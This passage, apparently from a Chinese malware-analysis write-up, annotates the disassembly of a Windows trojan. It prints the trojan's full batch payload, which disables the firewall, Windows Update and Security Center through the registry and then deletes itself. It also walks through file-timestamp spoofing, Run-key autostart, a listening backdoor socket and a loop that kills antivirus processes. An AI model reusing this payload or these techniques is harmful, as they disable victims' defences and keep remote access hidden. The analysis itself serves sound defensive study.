CREATE_ALWAYS 0040A051. 56 push esi ; psecurity => NULL 0040A052. 56 push esi ; ShareMode => 0 0040A053. 68 00000040 push 40000000 ; Access = GENERIC_WRITE 0040A058. 50 push eax ; FileName 0040A059. FF15 70104200 call dword ptr ds:[<&kernel32.createfilea>] ; \CreateFileA 0040A05F. 8BF8 mov edi,eax ; 创建 a.bat 0040A061. 3BFE cmp edi,esi 0040A063. 76 63 jbe short 3.0040A0C8 0040A065. 8D45 FC lea eax,dword ptr ss:[ebp-4] 0040A068. 56 push esi 0040A069. 50 push eax 0040A06A. 8D85 A0E7FFFF lea eax,dword ptr ss:[ebp-1860] 0040A070. 50 push eax 0040A071. E8 CAD50000 call 3.00417640 0040A076. 59 pop ecx ; 0040A077. 50 push eax ; nbytestowrite 0040A078. 8D85 A0E7FFFF lea eax,dword ptr ss:[ebp-1860] ; 0040A07E. 50 push eax ; Buffer 0040A07F. 57 push edi ; hfile 0040A080. FF15 68104200 call dword ptr ds:[<&kernel32.writefile>] ; \WriteFile 0040A086. 57 push edi ; / 写入内容 0040A087. FF15 6C104200 call dword ptr ds:[<&kernel32.closehandle>] ; \CloseHandle 0040A08D. 6A 44 push 44 0040A08F. 8D45 B8 lea eax,dword ptr ss:[ebp-48] 0040A092. 5F pop edi 0040A093. 57 push edi 0040A094. 56 push esi 0040A095. 50 push eax 0040A096. E8 25CE0000 call 3.00416EC0 0040A09B. 83C4 0C add esp,0c 0040A09E. 8D4D A8 lea ecx,dword ptr ss:[ebp-58] 0040A0A1. 897D B8 mov dword ptr ss:[ebp-48],edi 0040A0A4. 66:8975 E8 mov word ptr ss:[ebp-18],si 0040A0A8. 6A 01 push 1 0040A0AA. 58 pop eax 0040A0AB. 51 push ecx ; /pprocessinfo 0040A0AC. 8D4D B8 lea ecx,dword ptr ss:[ebp-48] ; 0040A0AF. 51 push ecx ; pstartupinfo 0040A0B0. 56 push esi ; CurrentDir => NULL 0040A0B1. 56 push esi ; penvironment => NULL 0040A0B2. 6A 28 push 28 ; CreationFlags = DETACHED_PROCESS NORMAL_PRIORITY_CLASS 0040A0B4. 8945 E4 mov dword ptr ss:[ebp-1c],eax ; 0040A0B7. 50 push eax ; InheritHandles => TRUE 0040A0B8. 56 push esi ; pthreadsecurity => NULL 0040A0B9. 8D85 A8FEFFFF lea eax,dword ptr ss:[ebp-158] ; 0040A0BF. 56 push esi ; pprocesssecurity => NULL 0040A0C0. 50 push eax ; CommandLine
0040A0C1. 56 push esi ; ModuleFileName => NULL 0040A0C2. FF15 08114200 call dword ptr ds:[<&kernel32.createprocessa>] ; \CreateProcessA 0040A0C8 > 5F pop edi ; 创建进程, 删除批处理 文件 0040A0C9. 5E pop esi 0040A0CA. C9 leave 0040A0CB \. C3 retn 批处理内容为 : @echo off Echo REGEDIT4>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>>%temp%\1.reg Echo "TransportBindName"="">>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>%temp%\1.reg Echo "Start"=dword:00000004>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>%temp%\1.reg Echo "Start"=dword:00000004>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>%temp%\1.reg Echo "Start"=dword:00000004>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg Echo "EnableDCOM"="N">>%temp%\1.reg Echo "EnableRemoteConnect"="N">>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>%temp%\1.reg Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]>>% temp%\1.reg Echo "Enabled"=hex:00>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>%temp%\1.reg Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]>>%temp%\1.reg Echo "NameServer"="">>%temp%\1.reg Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg Echo "Domain"="">>%temp%\1.reg Echo "SearchList"="">>%temp%\1.reg Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg
Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg Echo =hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\1.reg Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\1.reg Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg Echo "SackOpts"=dword:00000001>>%temp%\1.reg Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg "DNSQueryTimeouts"
Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg Echo.>>%temp%\1.reg Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]>>%temp%\1.reg Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg Echo.>>%temp%\1.reg START /WAIT REGEDIT /S %temp%\1.reg DEL %temp%\1.reg DEL %0 大致内容为创建服务, 实现自启动, 修改连接的最大连接数, 修改下载线程, 修改共享 修改注册表关联, 使之无法打开 二 修改 winlogin.exe 文件时间 : 00409DC0 / 55 push ebp 00409DC1. 8BEC mov ebp,esp 00409DC3. 81EC 1C010000 sub esp,11c 00409DC9. 53 push ebx 00409DCA. 56 push esi 00409DCB. 33F6 xor esi,esi 00409DCD. 57 push edi 00409DCE. 8D85 E4FEFFFF lea eax,dword ptr ss:[ebp-11c] 00409DD4. 56 push esi 00409DD5. 50 push eax 00409DD6. 68 04010000 push 104 00409DDB. 56 push esi 00409DDC. 68 A89F4200 push 3.00429FA8 ; ASCII "explorer.exe" 00409DE1. 56 push esi 00409DE2. FF15 145B4400 call dword ptr ds:[445b14] ; kernel32.searchpatha 00409DE8. 85C0 test eax,eax 00409DEA. 74 73 je short 3.00409E5F 00409DEC. BF 80000000 mov edi,80 00409DF1. 56 push esi ; /htemplatefile => NULL 00409DF2. 57 push edi ; Attributes => NORMAL 00409DF3. 6A 03 push 3 ; Mode = OPEN_EXISTING 00409DF5. 56 push esi ; psecurity => NULL 00409DF6. 8B35 70104200 mov esi,dword ptr ds:[<&kernel32.createfilea>] ; kernel32.createfilea 00409DFC. 6A 01 push 1 ; ShareMode = FILE_SHARE_READ 00409DFE. 8D85 E4FEFFFF lea eax,dword ptr ss:[ebp-11c] ; 00409E04. 68 00000080 push 80000000 ; Access =
GENERIC_READ 00409E09. 50 push eax ; FileName 00409E0A. FFD6 call esi ; \CreateFileA 00409E0C. 8BD8 mov ebx,eax 00409E0E. 83FB FF cmp ebx,-1 00409E11. 74 4C je short 3.00409E5F 00409E13. 8D45 E8 lea eax,dword ptr ss:[ebp-18] 00409E16. 50 push eax ; /plastwrite 00409E17. 8D45 F8 lea eax,dword ptr ss:[ebp-8] ; 00409E1A. 50 push eax ; plastaccess 00409E1B. 8D45 F0 lea eax,dword ptr ss:[ebp-10] ; 00409E1E. 50 push eax ; pcreationtime 00409E1F. 53 push ebx ; hfile 00409E20. FF15 00104200 call dword ptr ds:[<&kernel32.getfiletime>] ; \ 得到 exeplorer.exe 时间 00409E26. 53 push ebx ; /hobject 00409E27. 8B1D 6C104200 mov ebx,dword ptr ds:[<&kernel32.closehandle>] ; kernel32.closehandle 00409E2D. FFD3 call ebx ; \CloseHandle 00409E2F. 6A 00 push 0 ; /htemplatefile = NULL 00409E31. 57 push edi ; Attributes => NORMAL 00409E32. 6A 03 push 3 ; Mode = OPEN_EXISTING 00409E34. 6A 00 push 0 ; psecurity = NULL 00409E36. 6A 02 push 2 ; ShareMode = FILE_SHARE_WRITE 00409E38. 68 00000040 push 40000000 ; Access = GENERIC_WRITE 00409E3D. FF75 08 push dword ptr ss:[ebp+8] ; FileName 00409E40. FFD6 call esi ; \CreateFileA 00409E42. 8BF0 mov esi,eax 00409E44. 83FE FF cmp esi,-1 00409E47. 74 16 je short 3.00409E5F 00409E49. 8D45 E8 lea eax,dword ptr ss:[ebp-18] 00409E4C. 50 push eax ; /plastwrite 00409E4D. 8D45 F8 lea eax,dword ptr ss:[ebp-8] ; 00409E50. 50 push eax ; plastaccess 00409E51. 8D45 F0 lea eax,dword ptr ss:[ebp-10] ; 00409E54. 50 push eax ; pcreationtime 00409E55. 56 push esi ; hfile 00409E56. FF15 04114200 call dword ptr ds:[<&kernel32.setfiletime>] ; \ 设置成一样的时间 00409E5C. 56 push esi ; /hobject 00409E5D. FFD3 call ebx ; \CloseHandle 00409E5F > 5F pop edi 00409E60. 5E pop esi 00409E61. 5B pop ebx 00409E62. C9 leave 00409E63 \. C3 retn 三 创建注册表, 实现自启动 0040B485 / 55 push ebp 0040B486. 8BEC mov ebp,esp 0040B488. 51 push ecx 0040B489. 53 push ebx
0040B48A. 56 push esi 0040B48B. 57 push edi 0040B48C. BF E0BD4200 mov edi,3.0042bde0 0040B491. 33F6 xor esi,esi 0040B493. BB 24D54200 mov ebx,3.0042d524 ; ASCII "Adsl Not-A-Virus" 0040B498 > 8D45 FC /lea eax,dword ptr ss:[ebp-4] 0040B49B. 56 push esi 0040B49C. 50 push eax 0040B49D. 56 push esi 0040B49E. 68 3F000F00 push 0F003F 0040B4A3. 56 push esi 0040B4A4. 56 push esi 0040B4A5. 56 push esi 0040B4A6. FF77 04 push dword ptr ds:[edi+4] 0040B4A9. FF37 push dword ptr ds:[edi] 0040B4AB. FF15 0C5A4400 call dword ptr ds:[445a0c] ; advapi32.regcreatekeyexa 0040B4B1. 3975 08 cmp dword ptr ss:[ebp+8],esi ; 创建注册表 0040B4B4. 74 1C je short 3.0040B4D2 0040B4B6. FF75 08 push dword ptr ss:[ebp+8] 0040B4B9. E8 82C10000 call 3.00417640 0040B4BE. 59 pop ecx 0040B4BF. 50 push eax 0040B4C0. FF75 08 push dword ptr ss:[ebp+8] 0040B4C3. 6A 01 push 1 0040B4C5. 56 push esi 0040B4C6. 53 push ebx 0040B4C7. FF75 FC push dword ptr ss:[ebp-4] 0040B4CA. FF15 7C5A4400 call dword ptr ds:[445a7c] ; advapi32.regsetvalueexa 0040B4D0. EB 0A jmp short 3.0040B4DC ; 设置注册表值 0040B4D2 > 53 push ebx 0040B4D3. FF75 FC push dword ptr ss:[ebp-4] 0040B4D6. FF15 C4594400 call dword ptr ds:[4459c4] ; advapi32.regdeletevaluea 0040B4DC > FF75 FC push dword ptr ss:[ebp-4] ; 删除注册表值 0040B4DF. FF15 345A4400 call dword ptr ds:[445a34] ; advapi32.regclosekey 0040B4E5. 83C7 08 add edi,8 ; 关闭注册表 0040B4E8. 81FF F8BD4200 cmp edi,3.0042bdf8 0040B4EE.^ 7C A8 \jl short 3.0040B498 ; 继续处理下个注册表项 0040B4F0. 5F pop edi 0040B4F1. 5E pop esi 0040B4F2. 5B pop ebx 0040B4F3. C9 leave 0040B4F4 \. C3 retn 0040B4F5 > FF7424 04 push dword ptr ss:[esp+4] 0040B4F9. E8 87FFFFFF call 3.0040B485 0040B4FE. 59 pop ecx 0040B4FF. FF35 D8BD4200 push dword ptr ds:[42bdd8] ; /Timeout = 120. ms 0040B505. FF15 5C104200 call dword ptr ds:[<&kernel32.sleep>] ; \Sleep 0040B50B.^ EB E8 jmp short 3.0040B4F5 0040B50D /. 8B4424 08 mov eax,dword ptr ss:[esp+8]
0040B511. 8B5424 04 mov edx,dword ptr ss:[esp+4] 0040B515. 56 push esi 0040B516. 83CE FF or esi,ffffffff 0040B519. 85C0 test eax,eax 0040B51B. 74 25 je short 3.0040B542 0040B51D. 53 push ebx 0040B51E. 57 push edi 0040B51F. 8D38 lea edi,dword ptr ds:[eax] 0040B521. B9 FF000000 mov ecx,0ff 0040B526 > 8A02 /mov al,byte ptr ds:[edx] 0040B528. 8BDE mov ebx,esi 0040B52A. 23C1 and eax,ecx 0040B52C. 23D9 and ebx,ecx 0040B52E. 33C3 xor eax,ebx 0040B530. C1EE 08 shr esi,8 0040B533. 8B0485 10124200 mov eax,dword ptr ds:[eax*4+421210] 0040B53A. 33F0 xor esi,eax 0040B53C. 42 inc edx 0040B53D. 4F dec edi 0040B53E.^ 75 E6 \jnz short 3.0040B526 0040B540. 5F pop edi 0040B541. 5B pop ebx 0040B542 > 8BC6 mov eax,esi 0040B544. 5E pop esi 0040B545. F7D0 not eax 0040B547 \. C3 retn 此过程创建的注册表项为下面 3 个 : (1):Software\Microsoft\Windows\CurrentVersion\Run (2):Software\Microsoft\Windows\CurrentVersion\RunServices (3):Software\Microsoft\OLE 此目的为实现木马的开机自启动 四 连接远程主机, 并实现相应的操作 0040C917 /. 55 push ebp 0040C918. 8BEC mov ebp,esp 0040C91A. 81EC 38020000 sub esp,238 0040C920. 53 push ebx 0040C921. 56 push esi 0040C922. 57 push edi 0040C923. 6A 10 push 10 0040C925. 5F pop edi 0040C926. 33F6 xor esi,esi 0040C928. 57 push edi 0040C929. 8D45 E4 lea eax,dword ptr ss:[ebp-1c] 0040C92C. 56 push esi 0040C92D. 50 push eax 0040C92E. 8975 F8 mov dword ptr ss:[ebp-8],esi 0040C931. E8 8AA50000 call 3.00416EC0 0040C936. 83C4 0C add esp,0c
0040C939. 66:C745 E4 0200 mov word ptr ss:[ebp-1c],2 0040C93F. 6A 71 push 71 0040C941. FF15 585A4400 call dword ptr ds:[445a58] ; ws2_32.ntohs 0040C947. 56 push esi 0040C948. 6A 01 push 1 0040C94A. 6A 02 push 2 0040C94C. 66:8945 E6 mov word ptr ss:[ebp-1a],ax 0040C950. 8975 E8 mov dword ptr ss:[ebp-18],esi 0040C953. FF15 D85A4400 call dword ptr ds:[445ad8] ; ws2_32.socket 0040C959. 8BD8 mov ebx,eax 0040C95B. 83FB FF cmp ebx,-1 0040C95E. 0F84 14010000 je 3.0040CA78 0040C964. 8B45 08 mov eax,dword ptr ss:[ebp+8] 0040C967. 57 push edi 0040C968. 69C0 34020000 imul eax,eax,234 0040C96E. 8998 BCB44400 mov dword ptr ds:[eax+44b4bc],ebx 0040C974. 8D45 E4 lea eax,dword ptr ss:[ebp-1c] 0040C977. 50 push eax 0040C978. 53 push ebx 0040C979. FF15 845A4400 call dword ptr ds:[445a84] ; ws2_32.bind 0040C97F. 83F8 FF cmp eax,-1 ; 连接远程主机 0040C982. 0F84 F0000000 je 3.0040CA78 0040C988. 6A 05 push 5 0040C98A. 53 push ebx 0040C98B. FF15 805A4400 call dword ptr ds:[445a80] ; ws2_32.listen 0040C991. 83F8 FF cmp eax,-1 ; 开始监听 0040C994. 0F84 DE000000 je 3.0040CA78 0040C99A. 897D F4 mov dword ptr ss:[ebp-c],edi 0040C99D. BF 00020000 mov edi,200 0040C9A2 > 8D45 F4 /lea eax,dword ptr ss:[ebp-c] 0040C9A5. 50 push eax 0040C9A6. 8D45 D4 lea eax,dword ptr ss:[ebp-2c] 0040C9A9. 50 push eax 0040C9AA. 53 push ebx 0040C9AB. FF15 EC5A4400 call dword ptr ds:[445aec] ; ws2_32.accept 0040C9B1. 83F8 FF cmp eax,-1 ; 开始接收 0040C9B4. 8945 FC mov dword ptr ss:[ebp-4],eax 0040C9B7. 0F84 B6000000 je 3.0040CA73 0040C9BD. 0FB745 D6 movzx eax,word ptr ss:[ebp-2a] 0040C9C1. 50 push eax 0040C9C2. FF75 D8 push dword ptr ss:[ebp-28] 0040C9C5. FF15 E45A4400 call dword ptr ds:[445ae4] ; ws2_32.inet_ntoa 0040C9CB. 50 push eax ; IP 地址 :32.192.80.129 0040C9CC. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040C9D2. 68 88C54200 push 3.0042C588 0040C9D7. 50 push eax 0040C9D8. E8 68A40000 call 3.00416E45 0040C9DD. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040C9E3. 50 push eax 0040C9E4. E8 8DE8FFFF call 3.0040B276 0040C9E9. 83C4 14 add esp,14
0040C9EC. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040C9F2. 56 push esi 0040C9F3. 57 push edi 0040C9F4. 50 push eax 0040C9F5. FF75 FC push dword ptr ss:[ebp-4] 0040C9F8. FF15 705A4400 call dword ptr ds:[445a70] ; ws2_32.recv 0040C9FE. 83F8 FF cmp eax,-1 ; 接收数据 0040CA01.^ 74 9F je short 3.0040C9A2 0040CA03. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040CA09. 56 push esi 0040CA0A. 50 push eax 0040CA0B. E8 9CD0FFFF call 3.00409AAC 0040CA10. 6A 0C push 0C 0040CA12. 8D45 C8 lea eax,dword ptr ss:[ebp-38] 0040CA15. 56 push esi 0040CA16. 50 push eax 0040CA17. E8 A4A40000 call 3.00416EC0 0040CA1C. 56 push esi 0040CA1D. 56 push esi 0040CA1E. 8D45 C8 lea eax,dword ptr ss:[ebp-38] 0040CA21. 6A 02 push 2 0040CA23. 50 push eax 0040CA24. E8 24830000 call 3.00414D4D 0040CA29. 50 push eax 0040CA2A. 68 70C54200 push 3.0042C570 ; ASCII " : USERID : UNIX : %s " 0040CA2F. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040CA35. 57 push edi 0040CA36. 50 push eax 0040CA37. E8 7EA90000 call 3.004173BA 0040CA3C. 83C4 34 add esp,34 0040CA3F. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040CA45. 56 push esi 0040CA46. 50 push eax 0040CA47. E8 F4AB0000 call 3.00417640 0040CA4C. 59 pop ecx 0040CA4D. 50 push eax 0040CA4E. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040CA54. 50 push eax 0040CA55. FF75 FC push dword ptr ss:[ebp-4] 0040CA58. FF15 A85A4400 call dword ptr ds:[445aa8] ; ws2_32.send 0040CA5E. 83F8 FF cmp eax,-1 0040CA61.^ 0F84 3BFFFFFF je 3.0040C9A2 0040CA67. C745 F8 01000000 mov dword ptr ss:[ebp-8],1 0040CA6E.^ E9 2FFFFFFF \jmp 3.0040C9A2 0040CA73 > 3975 F8 cmp dword ptr ss:[ebp-8],esi 0040CA76. 75 27 jnz short 3.0040CA9F 0040CA78 > FF15 EC594400 call dword ptr ds:[4459ec] ; ws2_32.wsagetlasterror 0040CA7E. 50 push eax 0040CA7F. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238]
0040CA85. 68 2CC54200 push 3.0042C52C 0040CA8A. 50 push eax 0040CA8B. E8 B5A30000 call 3.00416E45 0040CA90. 8D85 C8FDFFFF lea eax,dword ptr ss:[ebp-238] 0040CA96. 50 push eax 0040CA97. E8 DAE7FFFF call 3.0040B276 0040CA9C. 83C4 10 add esp,10 0040CA9F > 53 push ebx 0040CAA0. FF15 F05A4400 call dword ptr ds:[445af0] ; ws2_32.closesocket 0040CAA6. FF75 FC push dword ptr ss:[ebp-4] 0040CAA9. FF15 F05A4400 call dword ptr ds:[445af0] ; ws2_32.closesocket 0040CAAF. FF75 08 push dword ptr ss:[ebp+8] 0040CAB2. E8 56A10000 call 3.00416C0D 0040CAB7. 59 pop ecx 0040CAB8. 56 push esi ; /ExitCode 0040CAB9 \. FF15 4C104200 call dword ptr ds:[<&kernel32.exitthread>] ; \ExitThread 五 查杀目标的进程 00414926. 56 push esi ; 创建每 30 秒杀目标进 程的线程 00414927. 33F6 xor esi,esi 00414929 > 6A 01 push 1 0041492B. 56 push esi 0041492C. 56 push esi 0041492D. 56 push esi 0041492E. 56 push esi 0041492F. 56 push esi 00414930. E8 ADFCFFFF call 3.004145E2 ; 关键 CALL 00414935. 83C4 18 add esp,18 00414938. FF35 A86D4300 push dword ptr ds:[436da8] ; /Timeout = 30000. ms 0041493E. FF15 5C104200 call dword ptr ds:[<&kernel32.sleep>] ; \Sleep 00414944.^ EB E3 jmp short 3.00414929 004145E2 / 55 push ebp 004145E3. 8BEC mov ebp,esp 004145E5. 81EC 54050000 sub esp,554 004145EB. 53 push ebx 004145EC. 56 push esi 004145ED. 57 push edi 004145EE. 6A 49 push 49 004145F0. 33DB xor ebx,ebx 004145F2. 59 pop ecx 004145F3. 33C0 xor eax,eax 004145F5. 391D 785A4400 cmp dword ptr ds:[445a78],ebx 004145FB. 8DBD D4FEFFFF lea edi,dword ptr ss:[ebp-12c] 00414601. 899D D0FEFFFF mov dword ptr ss:[ebp-130],ebx 00414607. F3:AB rep stos dword ptr es:[edi] 00414609. B9 88000000 mov ecx,88 0041460E. 8DBD B0FCFFFF lea edi,dword ptr ss:[ebp-350] 00414614. 899D ACFCFFFF mov dword ptr ss:[ebp-354],ebx 0041461A. F3:AB rep stos dword ptr es:[edi]
0041461C. 0F84 BF010000 je 3.004147E1 00414622. 391D 5C5A4400 cmp dword ptr ds:[445a5c],ebx 00414628. 0F84 B3010000 je 3.004147E1 0041462E. 391D 78594400 cmp dword ptr ds:[445978],ebx 00414634. 0F84 A7010000 je 3.004147E1 0041463A. 6A 01 push 1 0041463C. 68 D8934200 push 3.004293D8 ; SeDebugPrivilege 00414641. E8 31FFFFFF call 3.00414577 ; 提升进程权限 00414646. 59 pop ecx 00414647. 59 pop ecx 00414648. 53 push ebx 00414649. 6A 0F push 0F 0041464B. FF15 785A4400 call dword ptr ds:[445a78] ; kernel32.createtoolhelp32snapshot 00414651. 8BF8 mov edi,eax ; 枚举进程 00414653. 83FF FF cmp edi,-1 00414656. 897D F8 mov dword ptr ss:[ebp-8],edi 00414659. 0F84 75010000 je 3.004147D4 0041465F. 8D85 D0FEFFFF lea eax,dword ptr ss:[ebp-130] 00414665. C785 D0FEFFFF 2801>mov dword ptr ss:[ebp-130],128 0041466F. 50 push eax 00414670. 57 push edi 00414671. FF15 5C5A4400 call dword ptr ds:[445a5c] ; kernel32.process32first 00414677. 8B35 6C104200 mov esi,dword ptr ds:[<&kernel32.closehandle>] ; kernel32.closehandle 0041467D. 85C0 test eax,eax 0041467F. 0F84 4A010000 je 3.004147CF 00414685. 8D85 D0FEFFFF lea eax,dword ptr ss:[ebp-130] 0041468B. 50 push eax 0041468C. 57 push edi 0041468D. FF15 78594400 call dword ptr ds:[445978] ; kernel32.process32next 00414693. 85C0 test eax,eax 00414695. 0F84 34010000 je 3.004147CF 0041469B. 8B3D E4104200 mov edi,dword ptr ds:[<&kernel32.openprocess>] ; kernel32.openprocess 004146A1. BB FF0F1F00 mov ebx,1f0fff 004146A6 > 33C0 /xor eax,eax 004146A8. 3945 18 cmp dword ptr ss:[ebp+18],eax 004146AB. 74 60 je short 3.0041470D 004146AD. C745 FC AC6D4300 mov dword ptr ss:[ebp-4],3.00436dac ; ALOGSERV.EXE 004146B4 > 8B45 FC /mov eax,dword ptr ss:[ebp-4] 004146B7. FF30 push dword ptr ds:[eax] ; /String2 = "ALERTSVC.EXE" 004146B9. 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10c] ; 004146BF. 50 push eax ; String1 004146C0. FF15 64114200 call dword ptr ds:[<&kernel32.lstrcmpia>] ; \lstrcmpia 004146C6. 85C0 test eax,eax ; 比较枚举的进程是否为 要结束的进程 004146C8. 74 12 je short 3.004146DC 004146CA. 8345 FC 04 add dword ptr ss:[ebp-4],4 004146CE. 817D FC 6C774300 cmp dword ptr ss:[ebp-4],3.0043776c ; ASCII "i11r54n4.exe" 004146D5.^ 7C DD \jl short 3.004146B4 004146D7. E9 D9000000 jmp 3.004147B5 004146DC > FFB5 D8FEFFFF push dword ptr ss:[ebp-128]
004146E2. 6A 00 push 0 004146E4. 53 push ebx 004146E5. FFD7 call edi 004146E7. 85C0 test eax,eax 004146E9. 8945 FC mov dword ptr ss:[ebp-4],eax 004146EC. 0F84 C3000000 je 3.004147B5 004146F2. 6A 00 push 0 ; /ExitCode = 0 004146F4. 50 push eax ; hprocess 004146F5. FF15 60114200 call dword ptr ds:[<&kernel32.terminateprocess>] ; \TerminateProcess 004146FB. 85C0 test eax,eax 004146FD. 0F85 B2000000 jnz 3.004147B5 00414703 > FF75 FC push dword ptr ss:[ebp-4] 00414706. FFD6 call esi 00414708. E9 A8000000 jmp 3.004147B5 0041470D > 3945 14 cmp dword ptr ss:[ebp+14],eax 00414710. 0F85 8A000000 jnz 3.004147A0 00414716. 3945 0C cmp dword ptr ss:[ebp+c],eax 00414719. 0F84 96000000 je 3.004147B5 0041471F. FFB5 D8FEFFFF push dword ptr ss:[ebp-128] 00414725. 6A 08 push 8 00414727. FF15 785A4400 call dword ptr ds:[445a78] ; kernel32.createtoolhelp32snapshot 0041472D. 837D 1C 00 cmp dword ptr ss:[ebp+1c],0 00414731. 8945 FC mov dword ptr ss:[ebp-4],eax 00414734. C785 ACFCFFFF 2402> mov dword ptr ss:[ebp-354],224 0041473E. 74 20 je short 3.00414760 00414740. 8D8D ACFCFFFF lea ecx,dword ptr ss:[ebp-354] 00414746. 51 push ecx 00414747. 50 push eax 00414748. FF15 24594400 call dword ptr ds:[445924] ; kernel32.module32first 0041474E. FFB5 